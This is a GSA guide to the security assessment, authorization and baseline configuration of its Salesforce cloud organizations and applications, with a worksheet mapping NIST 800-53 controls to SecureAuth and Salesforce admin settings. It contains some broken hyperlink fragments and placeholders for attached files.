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Introduction

GSA has the capability to utilize commercial cloud computing services provided appropriate security controls are implemented, tested, and reviewed as part of the agency’s information security program.  These services are protected to the degree required by FISMA, FISMA implementing standards, and GSA guidance. The Salesforce Platform as a Service (PaaS) and Software as a Service (SaaS) cloud computing offerings have unique attributes and require consistent risk management and continuous monitoring processes. While the basic Assessment and Authorization procedures do not change, Salesforce represents a new model for Information Technology (IT) development by offering extensive options for configuring workflows, databases, forms, dashboards and reports, process modeling, and customizable user interfaces. As a cloud solution, the Salesforce application configurations can take place without any requirements for hardware or software. In addition the Salesforce platform, Force.com, offers two extremely valuable features by supporting mobile access and social business collaboration all from within the platform itself. Salesforce supports a standard method of application development therefore the potential for sharing and using the work of the entire GSA development community is immense. 
Salesforce enables GSA to quickly and efficiently build applications to modernize our IT portfolio and promote innovative solutions in the areas of mobility, employee collaboration, shared development efforts and customer relationship management integration. Additional information on Salesforce can be viewed at the Salesforce security wiki – 
http
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HYPERLINK ""developerforce
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HYPERLINK ""/

HYPERLINK ""index
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HYPERLINK ""Security
2.0 Purpose

This guide assists GSA employees and contract personnel that have IT security responsibilities, implement a standard Salesforce ASSESSMENT AND AUTHORIZATION process. The guide outlines the key activities for implementing the process.    
3.0 Assumptions
· The procedures and policies outlined in this guide will be incorporated into the Center of Excellence (COE) for GSA.

· Salesforce organizations will be maintained by FAS, PBS and OCIO.
· Mandatory customer implemented organizational level settings identified in this guide will be configured on all Salesforce organizations.

· Mandatory customer implemented application level settings identified will be configured on all applications published on the Salesforce platform.

· Applications developed for internal GSA use will be enabled with authentication and will use SSO. Access to these applications will be allowed from any location.
· Applications developed for external GSA use will have authentication enabled as deemed appropriate by the Business Owner and Authorizing Official (AO).

· All applications developed will be reviewed and approved for IT security requirements as outlined in this guide. Coordination will occur between the ISSO, ISSM and OSAISO in this process.
· Organization and Application Administrators are designated by the AO.
4.0  GSA Salesforce Methodology 
4.1  Definitions and Concepts
The following sections describe a Salesforce Organization and Application and the GSA Salesforce customers.  

4.2  Salesforce Organization
A Salesforce Organization is the Force.Com Paas. The platform allows GSA developers to create add-on applications that integrate into the main Salesforce.com application and are hosted on Salesforce.com's infrastructure. These applications are built using Apex (a proprietary Java-like programming language for the Force.com platform) and Visualforce (an XML-like syntax for building user interfaces in HTML, Ajax or Flex).  AppExchange is a marketplace for cloud computing applications built for the Salesforce.com community and delivered by partners or by third-party purchased developer services, which users can purchase and add to their Salesforce.com environment.
4.3  Salesforce Application 

GSA Salesforce application customization will be done at the "Organization" level by adding customized applications to a Salesforce Organization.  This includes adding sets of customized tabs for specific vertical- or function-level (Finance, Human Resources, etc.) features.

4.4  GSA Salesforce Customers 
There are currently three GSA Salesforce Customer Organizations designed to meet the unique business requirements of the following GSA Services:  
· Federal Acquisition Service (FAS)
· Public Buildings Service (PBS)
· Office of the Chief Information Officer (OCIO)
The diagram below displays the three GSA Organizations and the planned integration with the SecureAuth Single Sign On authentication architecture. 
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Salesforce Implementation Architecture - Proposed Structure
4.5  Salesforce Assessment and Authorization Process
System Owners are responsible for ensuring that their Salesforce Organizations and Applications have been through the applicable GSA security ASSESSMENT AND AUTHORIZATION process and have received Authorization to Operate (ATO).  The approval process for both Organizations and Applications is described in the subsections below. 
4.6  Organization Security Approval Process
A Salesforce Organization requires an Authority to Operate within GSA.  At the discretion of the AO, a new ASSESSMENT AND AUTHORIZATION can be done or the system environment description and security control analysis can be integrated into an existing ASSESSMENT AND AUTHORIZATION package.  The security approval process is the responsibility of the System ISSO working with the ISSM, Business Owner, System Development Team and the SAISO office.  Refer to CIO IT Security 06-30 for a description of the GSA agency-wide Assessment and Authorization (formerly Certification and Accreditation (C&A)) process and key activities .
The security controls analysis is performed using the NIST 800-53 R3 Controls for Salesforce worksheet provided in section 2.2.3.  The remainder of the process is the same as identified in the transmittal letter for an ASSESSMENT AND AUTHORIZATION package:

· SSP (reference customer implemented controls as appropriate from the Cloud Salesforce ASSESSMENT AND AUTHORIZATION)
· PIA

· SAR

· Certification letter

· Accreditation Letter

· POA&M
4.7  Application Approval Process
The security approval process for Salesforce applications is the responsibility of the System ISSO working with the Business Owner, System Application Development Team and the SAISO office.  The first step is to determine the type of application.  If the application is a Major Application, then a full Assessment and Authorization is required. If the application is a Minor Application, there are key activities that should be completed.  The attached “GSA Implementation of Security for Salesforce Applications” provides the steps required during the Minor Application approval process.   
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4.8  GSA NIST 800-53 R3 Controls for Salesforce
The attached NIST 800-53 R3 Controls for Salesforce Worksheet provides the baseline security controls for a Salesforce Organization as well as the controls for an Application.  The table identifies a control as inherited, common or hybrid control, or required to be implemented at the Organization or Application level.  The attached worksheet can be adjusted based on the GSA S/SO or contractor’s environment to address specific mission or business requirements, priorities, or customized conditions.   Conduct a security control analysis using the worksheet, and document the selected security controls.  The completed worksheet should be included in the appendices section of the SSP.  It must be updated in subsequent steps of the risk management process.

[image: image4.emf]GSA NIST 800-53  Rev3 Controls Worksheet in SalesForce_Security_Implementation_Guide_v.1.5.xlsx


4.9  Salesforce Organization Baseline Security Configuration Settings
When a GSA customer uses a Salesforce Organization or Application, there are certain configuration responsibilities that must be implemented.  These are the customer security configurations that allow the cloud services to integrate properly and securely with GSA systems. The recommended security configuration settings to be applied to Salesforce Organizations and Applications are provided in the attached Salesforce Organization Baseline Security Configuration Reference Guide.  It is the responsibility of the system ISSO to ensure periodic monitoring of the configuration settings at the Organization and Application level.  


[image: image5.emf]Salesforce  Organization Baseline Configuration Reference Guide_v1.3.docx


5.0  Salesforce Security Best Practices

A key activity of application development and system configuration is access security. Security measures should not only protect data and logic from unauthorized external access, but also from unauthorized internal access. The attached Salesforce Security Best Practices includes guidance for configuration settings and features that will ensure sufficient data protection.


[image: image6.emf]Salesforce Security -  Best Practices.pdf


6.0  Salesforce Profile Management Overview

Force.com provides a layered security framework that allows security administrators to create profiles, roles, hierarchies and rules that are enforced in the user interface.  To specify the objects and tabs a user can access, the administrator assigns a profile. To specify the fields a user can access, the administrator uses field-level security. To specify the individual records a user can view and edit, the administrator sets organization-wide defaults, defines a role hierarchy, and creates sharing rules.  The attached Salesforce Profile Management Overview describes the basic concepts of the Salesforce security model and the profile management process.  As these are best practices, GSA mandated security policies must be reviewed and implemented accordingly. Careful consideration should be made when determining profiles and permission sets to be used. 
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7.0  Salesforce Security Configuration Options Parameters
The Salesforce Security Configuration Options Parameters present the configurable user settings available to Organization administrators.  These parameters can also be used to further harden an Organization and subsequent Application for users. Some settings are included in the Salesforce Organization Baseline Security Configuration Reference Guide. Care should be used to analyze these controls before implementation to ensure that the customer implemented controls are not affected.
7.1  Salesforce Navigation Tips  

To access Salesforce Security configurations select the "Setup" choice from the pull down menu below the userid name. 
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 Setup pull down menu

The Administration Set up configuration family is available only to organization administrators. 
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 Administration Setup Configuration Family

The Administration Setup security configuration settings in the following table are named for the Individual Configuration area and the Sub-configuration area.

	Configuration Family
	Configuration Area
	Sub-Group
	Page Block

	Administration Setup
	Manage users
	Roles
	

	
	
	Profiles
	

	
	Security Controls
	Sharing Settings
	

	
	
	Field Accessibility
	

	
	
	Password Policies
	

	
	
	Session Settings
	

	
	
	Network Access
	

	
	
	Package Support Access
	

	
	
	Certificate and Key Management
	

	
	
	Single Sign-On Settings
	

	
	
	Identity Provider
	

	
	
	View Setup Audit Trail
	

	
	
	Expire All Passwords
	

	
	
	Delegated Administration
	

	
	
	Remote Site Settings
	

	
	
	HTML Documents and Attachments Settings
	

	
	
	Portal Health Check
	

	
	Mobile Administration
	Salesforce Mobile
	Configurations

	
	
	
	Users and Devices

	
	
	
	Settings

	
	
	Chatter Mobile
	Settings

	
	
	
	Users and Devices

	
	
	Mobile Dashboards
	

	
	Desktop Configuration
	Outlook Configuration
	

	
	
	
	Offline Briefcase Configurations

	
	
	
	Chatter Desktop Settings

	
	Email Administration
	Deliverability
	

	
	
	Organization-Wide Addresses
	

	
	
	Compliance BCC Email
	

	
	
	Test Deliverability
	

	
	
	Email to Salesforce
	

	
	
	Delete Attachments Sent as Links
	

	
	
	Email Footers
	

	
	Google Apps
	Settings
	


 Salesforce Security Relevant Sub-Groups

The actual settings are implemented by changing the field settings of the Subgroup page to the GSA required value (refer to section 2.2.4). Fields vary and can take the form of check boxes, radio buttons, pull-down menus or open text. The figure below shows the Sessions Settings sub-group page.
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.

 Sub-group page with fields
The following settings provide a sample of the configuration options documented in the Salesforce Security Configuration Options Parameters attachment.  
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Salesforce Configuration Options

[image: image12.emf]SF Security  Configuration Options_Parameters.xlsx


8.0  Salesforce User Permissions

The attached Permissions for Standard Salesforce Profiles  lists all user permissions alphabetically and provides a description of the permission, functions controlled, and corresponding user profile.
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9.0  Points of Contact

For additional information contact the Office of the Senior Agency Information Security Officer (SAISO) in the GSA Office of the Chief Information Officer via email at itsecurity@gsa.gov.  
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Overview

		Overview of Salesforce Customer Implemented Controls for GSA at the Organizational and Application Level



		This worksheet presents the GSA NIST 800-53 security control implementation status for two Salesforce levels: the organization level (GSA PaaS FAS/PBS/OCIO ), and the application level (GSA minor applications).



		1- The Organization tab displays how the  GSA customer security controls are implemented.  This tab is to be used to to complete an assessment of a Salesforce Organization as part of the A&A process.   The controls can be customized to address specific mission or business requirements, priorities, or other customized conditions



		2- The Application tab displays how the  GSA customer security controls are implemented.  This tab is to be used to complete an assessment of a minor Salesforce application. 

		3 - The embedded document below is an excerpt from the Salesforce Security Plan. Specifically Appendix H, NIST 800-53 R3 Customer Requirements. It shows the spelled out requirement directly from the Salesforce System Security Plan and how the Salesforce infrastructure is expected to support the customer requirements and whether these controls are mandatory by the customer for implementation or optionally implemented as required.





Organization

		Control		Mandatory/Optional		Control Name		Control Description		Where Implemented/Inherited		How Implemented		Where in Salesforce Admin

		AC-02		M		Account Management		The organization manages information system accounts, including: (i) Identifying account types (i.e., individual, group, system, application, guest/anonymous, and temporary);  (ii) Establishing conditions for group membership; (iii) Identifying authorized users of the information system and specifying access privileges; (iv) Requiring appropriate approvals for requests to establish accounts; (v) Establishing, activating, modifying, disabling, and removing accounts; (vi) Specifically authorizing and monitoring the use of guest/anonymous and temporary accounts; (vii) Notifying account managers when temporary accounts are no longer required and when information system users are terminated, transferred, or information system usage or need-to-know/need-to-share changes; (viii) Deactivating: (i) temporary accounts that are no longer required; and (ii) accounts of terminated or transferred users; (ix) Granting access to the system based on: (i) a valid access authorization; (ii) intended system usage; and (iii) other attributes as required by the organization or associated missions/business functions; and (x) Reviewing accounts at least annually.		ESS A&A		X - SecureAuth		SecureAuth is configured in "Administration Setup/Security Controls/Single Sign-On Settings"

		AC-02 (1)		M		Account Management		The organization employs automated mechanisms to support the management of information system accounts.		ESS A&A		X - SecureAuth		SecureAuth is configured in "Administration Setup/Security Controls/Single Sign-On Settings"

		AC-02 (2)		M		Account Management		The information system automatically terminates temporary and emergency accounts after 24 hours. 		ESS A&A		X - SecureAuth		SecureAuth is configured in "Administration Setup/Security Controls/Single Sign-On Settings"

		AC-02 (3)		M		Account Management		The information system automatically disables inactive accounts after 90 days for User Level Accounts – as per GSA S/SO or Contractor recommendation to be approved and accepted by the GSA AO for nonuser level accounts (device, token, smart cards, etc). 		ESS A&A		X - SecureAuth		SecureAuth is configured in "Administration Setup/Security Controls/Single Sign-On Settings"

		AC-02 (4)		M		Account Management		The information system automatically audits account creation, modification, disabling, and termination actions and notifies, as required, appropriate individuals.		ESS A&A		X - SecureAuth		SecureAuth is configured in "Administration Setup/Security Controls/Single Sign-On Settings"

		AC-03		M		Access Enforcement		The information system enforces assigned authorizations for controlling access to the system in accordance with applicable policy; user privileges are consistent with documented user authorizations.		Organization		Organization level controls implemented via Profiles and Permission Sets. 		Administration Setup/Manage Users/Profiles and Manage Users/Permission Sets

		AC-05		M		Separation of Duties		The organization: a. Separates duties of individuals as necessary, to prevent malevolent activity without collusion; b. Documents separation of duties; and c. Implements separation of duties through assigned information system access authorizations.		ESS A&A and Organization		Organization level control implemented via Profiles and Permission Sets. 		Administration Setup/Manage Users/Profiles and Manage Users/Permission Sets

		AC-06		M		Least Privilege		The organization employs the concept of least privilege, allowing only authorized accesses for users (and processes acting on behalf of users) which are necessary to accomplish assigned tasks in accordance with organizational missions and business functions.		ESS A&A and Organization		Organization level control implemented via Profiles and Permission Sets. 		Administration Setup/Manage Users/Profiles and Manage Users/Permission Sets

		AC-07		M		Unsuccessful Logon Attempts		The information system enforces a limit of consecutive invalid access attempts by a user during a 30 minute time period. The information system automatically locks the information system account when the maximum number of unsuccessful attempts is exceeded.  The control applies regardless of whether the login occurs via a local or network connection.		ESS A&A		X - SecureAuth		SecureAuth is configured in "Administration Setup/Security Controls/Single Sign-On Settings"

		AC-08		M		System Use Notification		The information system: a.  displays an approved, system use notification message before granting system access informing potential users: (i) that the user is accessing a U.S. Government information system; (ii) that system usage may be monitored, recorded, and subject to audit; (iii) that unauthorized use of the system is prohibited and subject to criminal and civil penalties; and (iv) that use of the system indicates consent to monitoring and recording. b. Retains the notification message or banner on the screen until users take explicit actions to log on to or further access the information system; and c. For publicly accessible systems: (i) displays the system use information when appropriate, before granting further access; (ii) displays references, if any, to monitoring, recording, or auditing that are consistent with privacy accommodations for such systems that generally prohibit those activities; and (iii) includes in the notice given to public users of the information system, a description of the authorized uses of the system.		ESS A&A		X - SecureAuth		Shown on SecureAuth Login Page when using 2FA.

		AC-11		M		Session Lock		The information system: a. Prevents further access to the system by initiating a session lock after 15 minutes of inactivity or upon receiving a request from a user; and b. Retains the session lock until the user reestablishes access using appropriate identification and authentication procedures.		Organization		1 (assuming w/ Secure Auth) Review session timeout settings for workstations (15) 		Administration Setup/Security Controls/Session Settings

		AC-14		M		Permitted Actions w/o Identification or Authentication		The organization: a. Identifies specific user actions that can be performed on the information system without identification or authentication; and b. Documents and provides supporting rationale in the security plan for the information system, user actions not requiring identification and authentication.		ESS A&A and Organization		1 (no access w/out auth; static web pages do not require auth)		SecureAuth is configured in "Administration Setup/Security Controls/Single Sign-On Settings"

		AC-14 (1)		M		Permitted Actions w/o Identification or Authentication		The organization permits actions to be performed without identification and authentication only to the extent necessary to accomplish mission objectives.		ESS A&A and Organization		1 (no access w/out auth; static web pages do not require auth)		SecureAuth is configured in "Administration Setup/Security Controls/Single Sign-On Settings"

		AC-17		O		Remote Access		The organization: a. Documents allowed methods of remote access to the information system; b. Establishes usage restrictions and implementation guidance for each allowed remote access method; c. Monitors for unauthorized remote access to the information system; d. Authorizes remote access to the information system prior to connection; and e. Enforces requirements for remote connections to the information system.		Organization		Organization via Administration Settings		Administration Setup/Security Controls/Single Sign-On

		AC-22		O		Publicly Accessible Content		The organization: (a) Designates individuals authorized to post information onto an organizational information system that is publicly accessible; (b) Trains authorized individuals to ensure that publicly accessible information does not contain nonpublic information; (c) Reviews the proposed content of publicly accessible information for nonpublic information prior to posting onto the organizational information system; (d) Reviews the content on the publicly accessible organizational information system for nonpublic information annually; and (e) Removes nonpublic information from the publicly accessible organizational information system, if discovered.		Organization		Organization via Administration Settings		Administration Setup

		AU-02		M		Auditable Events		The organization: a. Determines, based on a risk assessment and mission/business needs, that the information system must be capable of auditing the following events: Successful and unsuccessful Account logon events, account management events, object access, policy change, privilege functions, process tracking, and system events.  Web applications should log all admin activity, authentication checks, authorization checks, data deletions, data access, data changes, and permission changes; b. Coordinates the security audit function with other organizational entities requiring audit related information to enhance mutual support and to help guide the selection of auditable events; c. Provides a rationale for why the list of auditable events are deemed to be adequate to support after-the-fact investigations of security incidents; and d. Determines, based on current threat information and ongoing assessment of risk, that the following events are to be audited within the information system:  Implement audit configuration requirements as documented in applicable GSA IT Security Technical Hardening Guides. Web applications should log all admin activity, authentication checks, authorization checks, data deletions, data access, data changes, and permission changes.		ESS A&A and Organization		Hybrid Control 		Administration Setup/Manage Users/Login History; and   Administration Setup/Manage Users/Identity Provider Error Log.  It is a planned activity for an ad-hoc audit portal to be built.

		AU-02 (3)		M		Auditable Events		The organization reviews and updates the list of organization-defined auditable events annually or whenever there is a change in system's threat environment as communicated by GSA S/SO or the GSA SAISO. 		ESS A&A and Organization		Hybrid Control 		App Setup/Customize/Activities.  It is a planned activity for an ad-hoc audit portal to be built.

		AU-02 (4)		O		Auditable Events		The organization includes execution of privileged functions in the list of events to be audited by the information system.		ESS A&A and Organization		Hybrid Control - Organization/AD. ENT logs retained utilizing NetIQ SM.		Organization and Application logs are retained by Salesforce and acquired via special request. It is a planned activity for an ad-hoc audit portal to be built.

		AU-02 (4)		M		Auditable Events		The organization includes execution of privileged functions in the list of events to be audited by the information system.		ESS A&A and Organization		Hybrid Control 		Administration Setup/Manage Users/Login History.  It is a planned activity for an ad-hoc audit portal to be built.

		AU-03 (1)		M		Content of Audit Records		The information system provides the capability to include additional, more detailed information in the audit records for audit events identified by type, location, or subject.                                                (i) Session, connection, transaction, or activity duration.

(ii) For client-server transactions, the number of bytes received and bytes sent.  This gives bidirectional transfer information that can be helpful during an investigation or inquiry.

(iii) For client-server transactions, unique metadata or properties about the client initiating the transaction.  This could include properties such as an IP address, user name, session identifier or browser characteristics (e.g. a ‘User-Agent’ string).

(iv) Details regarding the event ‘type’: the type of method (for HTTP: GET/POST/HEAD, etc) or action (Database INSERT, UPDATE, DELETE).

(v) Characteristics that describe or identify the object or resource being acted upon.

(vi) Additional informational messages to diagnose or identify the event.		ESS A&A and Organization		Hybrid Control - Organization/AD. AD level based on enable/disable auditing within ENT.		Organization - Administration Setup/Manage Users/Login History.  It is a planned activity for an ad-hoc audit portal to be built.

		AU-04		M		Audit Storage Capacity		The organization allocates sufficient audit record storage capacity and configures auditing to prevent such capacity being exceeded.		ESS A&A and Organization		Hybrid Control - Organization/AD. ENT logging utilizing NetIQ SM.		Organization level is 180 days.  Administration Setup/Security Controls/View Setup Audit Trail.  It is a planned activity for an ad-hoc audit portal to be built.

		AU-06		M		Audit Review, Analysis, and Reporting		The organization: a. Reviews and analyzes information system audit records for indications of inappropriate or unusual activity weekly, and reports findings to designated organizational officials; and b. Adjusts the level of audit review, analysis, and reporting within the information system when there is a change in risk to organizational operations, organizational assets, individuals, other organizations, or the Nation based on law enforcement information, intelligence information, or other credible sources of information.		ESS A&A and Organization		Hybrid Control - Organization/AD. ENT logging and reporting utilizing NetIQ SM.		Organization - Administration Setup/Manage Users/Login History.  It is a planned activity for an ad-hoc audit portal to be built.

		AU-07		M		Audit Reduction and Report Generation		The information system provides an audit reduction and report generation capability.		ESS A&A and Organization		Hybrid Control - Organization/AD. AD level based on enable/disable auditing within ENT.		Organization - Administration Setup/Manage Users/Login History.  It is a planned activity for an ad-hoc audit portal to be built.

		AU-07 (1)		M		Audit Reduction and Report Generation		The information system provides the capability to automatically process audit records for events of interest based upon selectable, event criteria.		ESS A&A and Organization		Hybrid Control - Organization/AD. AD level based on enable/disable auditing within ENT.		Organization - Administration Setup/Manage Users/Login History.  It is a planned activity for an ad-hoc audit portal to be built.

		AU-09		M		Protection of Audit Information		The information system protects audit information and audit tools from unauthorized access, modification, and deletion.		ESS A&A and Organization		Separation of Duties via SecureAuth		Administration Setup/Manage Users/Users It is a planned activity for an ad-hoc audit portal to be built.

		AU-09		M		Protection of Audit Information		The information system protects audit information and audit tools from unauthorized access, modification, and deletion.		ESS A&A and Organization		For user access, it is via Secure Auth. It is a planned activity for an ad-hoc audit portal to be built for the organizational auditing.		It is a planned activity for an ad-hoc audit portal to be built.

		AU-11		M		Audit Record Retention		The organization retains audit logs until they reach its maximum allocated size to provide support for after-the-fact investigations of security incidents and to meet regulatory and organizational information retention requirements.		ESS A&A and Organization		Hybrid Control - Organization/AD. ENT logs retained utilizing NetIQ SM.		Organization and Application logs are  retained by Salesforce and acquired via special request. It is a planned activity for an ad-hoc audit portal to be built.

		IA-02		M		User Identification and Authentication		The information system uniquely identifies and authenticates users (or processes acting on behalf of users).		ESS A&A and Organization		X - SecureAuth		SecureAuth is configured in "Security Controls/Single Sign On Settings"

		IA-02		O		User Identification and Authentication		The information system uniquely identifies and authenticates users (or processes acting on behalf of users).		ESS A&A and Organization		SecureAuth/Organization - User Roles		SecureAuth is configured in Administration Setup/Security Controls/Single Sign On Settings" and Manage Users/Roles 

		IA-02 (1)		O		User Identification and Authentication		The information system uses multifactor authentication for network access to privileged accounts.		ESS A&A and Organization		SecureAuth/Organization - User Roles		SecureAuth is configured in Administration Setup/Security Controls/Single Sign On Settings" and Manage Users/Roles 

		IA-02 (1)		M		User Identification and Authentication		The information system uses multifactor authentication for network access to privileged accounts.		ESS A&A and Organization		X - SecureAuth		SecureAuth is configured in "Administration Setup/Security Controls/Single Sign-On Settings"

		IA-02 (2)		M		User Identification and Authentication		The information system uses multifactor authentication for network access to non-privileged accounts.		ESS A&A and Organization		X - SecureAuth		SecureAuth is configured in "Administration Setup/Security Controls/Single Sign-On Settings"

		IA-02 (2)		O		User Identification and Authentication		The information system uses multifactor authentication for network access to non-privileged accounts.		ESS A&A and Organization		SecureAuth/Organization - User Roles		SecureAuth is configured in Administration Setup/Security Controls/Single Sign On Settings" and Manage Users/Roles 

		IA-02 (8)		M		User Identification and Authentication		The information system uses replay-resistant authentication mechanisms for network access to privileged accounts.		ESS A&A and Organization		Organization level control implemented based on Sys admin access/policy		Per GSA Policy, Organization admins will require a second account for provisioning. 

		IA-02 (8)		M		User Identification and Authentication		The information system uses replay-resistant authentication mechanisms for network access to privileged accounts.		ESS A&A		X - SecureAuth/HTTPS		SecureAuth is configured in "Administration Setup/Security Controls/Single Sign-On Settings"

		IA-04		M		Identifier Management		The organization manages information system identifiers for users and devices by: i). Receiving authorization from a designated organizational official to assign a user or device identifier; (ii). Selecting an identifier that uniquely identifies an individual or device; (iii). Assigning the user identifier to the intended party or the device identifier to the intended device; and (iv) Preventing reuse of user or device identifiers for GSA S/SO or Contractor recommendation to be approved and accepted by the GSA AO and (v) Disabling the user identifier after 90 days of inactivity.  90 Days for User Level Accounts - as per system determination for non-user level accounts (device, token, smart cards, etc).		ESS A&A and Organization		X - SecureAuth/Organization - user provisioning in SF will be manual until some automated tool is obtained to sync with AD.		Administration Setup/Manage Users/Users

		IA-05		O		Authenticator Management		The organization manages information system authenticators for users and devices by: (i). Verifying, as part of the initial authenticator distribution for a user authenticator, the identity of the individual receiving the authenticator; (ii). Establishing initial authenticator content for organization-defined authenticators; (iii). Ensuring that authenticators have sufficient strength of mechanism for their intended use;(iv). Establishing and implementing administrative procedures for initial authenticator distribution, for lost/compromised, or damaged authenticators, and for revoking authenticators; (v). Changing default content of authenticators upon information system installation; (vi). Establishing minimum and maximum lifetime restrictions and reuse conditions for authenticators (if appropriate); (vii). Changing/refreshing authenticators(viii). Protecting authenticator content from unauthorized disclosure and modification; and (x). Requiring users to take, and having devices implement, specific measures to safeguard authenticators.		ESS A&A and Organization		SecureAuth/Organization - User Roles		SecureAuth is configured in Administration Setup/Security Controls/Single Sign On Settings" and Manage Users/Roles 

		IA-05		M		Authenticator Management		The organization manages information system authenticators for users and devices by: (i). Verifying, as part of the initial authenticator distribution for a user authenticator, the identity of the individual receiving the authenticator; (ii). Establishing initial authenticator content for organization-defined authenticators; (iii). Ensuring that authenticators have sufficient strength of mechanism for their intended use;(iv). Establishing and implementing administrative procedures for initial authenticator distribution, for lost/compromised, or damaged authenticators, and for revoking authenticators; (v). Changing default content of authenticators upon information system installation; 60 Days for FDCC and 90 Days for all Other Password Based Authenticators (vi). Establishing minimum and maximum lifetime restrictions and reuse conditions for authenticators (if appropriate); (vii). Changing/refreshing authenticators periodically, as appropriate for authenticator type ;(viii). Protecting authenticator content from unauthorized disclosure and modification; and (x). Requiring users to take, and having devices implement, specific measures to safeguard authenticators.		ESS A&A and Organization		X - SecureAuth		SecureAuth is configured in "Administration Setup/Security Controls/Single Sign-On Settings"

		IA-05 (1)		O		Authenticator Management		The information system, for password-based authentication: (a) Enforces minimum password complexity for passwords. Passwords must contain a minimum of eight (8) characters and must contain a combination of letters, numbers, and special characters. Mobile devices (I.e. USB drives, Blackberry and other Government approved Smart Phone devices, personal digital assistants) require a minimum of 4 characters, but do not have to be a combination of letters, numbers, and special characters.  Accounts used to access Federal Desktop Core Configuration (FDCC) compliant workstations (i.e. Windows XP and Windows Vista) must have twelve (12) character passwords.       ; (b) Enforces a minimum number of characters that must be changed when new passwords are created; At least 1 or GSA S/SO or Contractor recommendation to be approved and accepted by the GSA AO (where possible). (c) Encrypts passwords in storage and in transmission; (d) Enforces password minimum and maximum lifetime restrictions; FDCC - 1 Day minimum 60 Day maximum; All Others 1 Day Minimum 90 Days maximum  and (e) Prohibits password reuse for a number of iterations; FDCC - 24 Passwords Remembered; All Others 10 passwords remembered.   		ESS A&A and Organization		SecureAuth/Organization - User Roles		SecureAuth is configured in "Security Controls/Single Sign On Settings" and "User Management for Roles"

		IA-05 (1)		M		Authenticator Management		The information system, for password-based authentication: (a) Enforces minimum password complexity for passwords. Passwords must contain a minimum of eight (8) characters and must contain a combination of letters, numbers, and special characters. Mobile devices (I.e. USB drives, Blackberry and other Government approved Smart Phone devices, personal digital assistants) require a minimum of 4 characters, but do not have to be a combination of letters, numbers, and special characters.  Accounts used to access Federal Desktop Core Configuration (FDCC) compliant workstations (i.e. Windows XP and Windows Vista) must have twelve (12) character passwords.       ; (b) Enforces a minimum number of characters that must be changed when new passwords are created; At least 1 or GSA S/SO or Contractor recommendation to be approved and accepted by the GSA AO (where possible). (c) Encrypts passwords in storage and in transmission; (d) Enforces password minimum and maximum lifetime restrictions; FDCC - 1 Day minimum 60 Day maximum; All Others 1 Day Minimum 90 Days maximum  and (e) Prohibits password reuse for a number of iterations; FDCC - 24 Passwords Remembered; All Others 10 passwords remembered.   		ESS A&A		X - SecureAuth		SecureAuth is configured in "Security Controls/Single Sign On Settings"

		IA-05 (1)		M		Authenticator Management		The information system, for password-based authentication: (a) Enforces minimum password complexity for passwords. Passwords must contain a minimum of eight (8) characters and must contain a combination of letters, numbers, and special characters. Mobile devices (I.e. USB drives, Blackberry and other Government approved Smart Phone devices, personal digital assistants) require a minimum of 4 characters, but do not have to be a combination of letters, numbers, and special characters.  Accounts used to access Federal Desktop Core Configuration (FDCC) compliant workstations (i.e. Windows XP and Windows Vista) must have twelve (12) character passwords.       ; (b) Enforces a minimum number of characters that must be changed when new passwords are created; At least 1 or GSA S/SO or Contractor recommendation to be approved and accepted by the GSA AO (where possible). (c) Encrypts passwords in storage and in transmission; (d) Enforces password minimum and maximum lifetime restrictions; FDCC - 1 Day minimum 60 Day maximum; All Others 1 Day Minimum 90 Days maximum  and (e) Prohibits password reuse for a number of iterations; FDCC - 24 Passwords Remembered; All Others 10 passwords remembered.   		ESS A&A and Organization		X - SecureAuth is Token Based		Administration Setup/Security Controls/Password Policies

		IA-05 (3)		M		Authenticator Management		The organization requires that the registration process to receive user accounts be carried out in person before a designated registration authority with authorization by a designated organizational official (e.g., a supervisor).		ESS A&A		X - SecureAuth		SecureAuth is configured in "Administration Setup/Security Controls/Single Sign-On Settings"

		IA-05 (3)		M		Authenticator Management		The organization requires that the registration process to receive user accounts be carried out in person before a designated registration authority with authorization by a designated organizational official (e.g., a supervisor).		ESS A&A		X - SecureAuth		SecureAuth is configured in "Administration Setup/Security Controls/Single Sign-On Settings"

		IA-06		M		Authenticator Feedback		The information system obscures feedback of authentication information during the authentication process to protect the information from possible exploitation/use by unauthorized individuals.		ESS A&A		X - SecureAuth

		IA-08		M		Identification and Authentication (Non-Org)		The information system uniquely identifies and authenticates non-organizational users (or processes acting on behalf of non-organizational users).		ESS A&A and Organization		1 (no access w/out auth; static web pages do not require auth).  SecureAuth only. 		SecureAuth is configured in "Administration Setup/Security Controls/Single Sign-On Settings"

		IA-08		M		Identification and Authentication (Non-Org)		The information system uniquely identifies and authenticates non-organizational users (or processes acting on behalf of non-organizational users).		Organization		Use of external contacts. 		Administration Setup/Manage Users/Users

		CA-01		M		Certification, Accreditation, and Security Assessment Policies and Procedures		The organization develops, disseminates, and reviews/updates every two years: (i) formal, documented, security assessment and certification and accreditation policies that address purpose, scope, roles, responsibilities, and compliance; and (ii) formal, documented procedures to facilitate the implementation of the security assessment and certification and accreditation policies and associated assessment, certification, and accreditation controls.		Common - SAISO		CIO IT Security 06-30 and 11-62

		CA-06		M		Security Authorization		The organization: a. Assigns a senior-level executive or manager to the role of authorizing official for the information system; b. Ensures that the authorizing official authorizes the information system for processing before commencing operations; and c. Updates the security authorization at least every three years or when there is a significant change to the system. 		Common - SAISO		CIO IT Security 06-30 and 11-62

		CA-06		M		Security Authorization		The organization: (i) Assigns a senior-level executive or manager to the role of authorizing official for the information system; (ii). Authorizes the information system for processing before commencing operations; and (iii) Updates the security authorization at least every three years or when there is a significant change to the system.  		Organization		Item performed as part of an A&A (see CIO IT Security 11-62)

		CP-01		M		Contingency Planning Policy and Procedures		The organization develops, disseminates, and periodically reviews/updates: (i) a formal, documented, contingency planning policy that addresses purpose, scope, roles, responsibilities, and compliance; and (ii) formal, documented procedures to facilitate the implementation of the contingency planning policy and associated contingency planning controls. 		Common - SAISO		CIO-IT-Security 06-29 Rev 2 

		SC-07 (03)		M		Boundary Protection		The organization limits the number of access points to the information system to allow for more comprehensive monitoring of inbound and outbound communications and network traffic.		ENS A&A/ESS A&A and Organization		GSA Firewall and perimeter defense,  Secure Auth - NetIQ SM, Salesforce Cloud A&A

		SC-07 (04)		M		Boundary Protection		The organization: (a) Implements a managed interface for each external telecommunication service; (b) Establishes a traffic flow policy for each managed interface; (c) Employs security controls as needed to protect the confidentiality and integrity of the information being transmitted; (d) Documents each exception to the traffic flow policy with a supporting mission/business need and duration of that need; (e) Reviews exceptions to the traffic flow policy [Assignment: organization-defined frequency]; and (f) Removes traffic flow policy exceptions that are no longer supported by an explicit mission/business need.		ENS A&A/ESS A&A and Organization		GSA Firewall and perimeter defense,  Secure Auth - NetIQ SM, Salesforce Cloud A&A

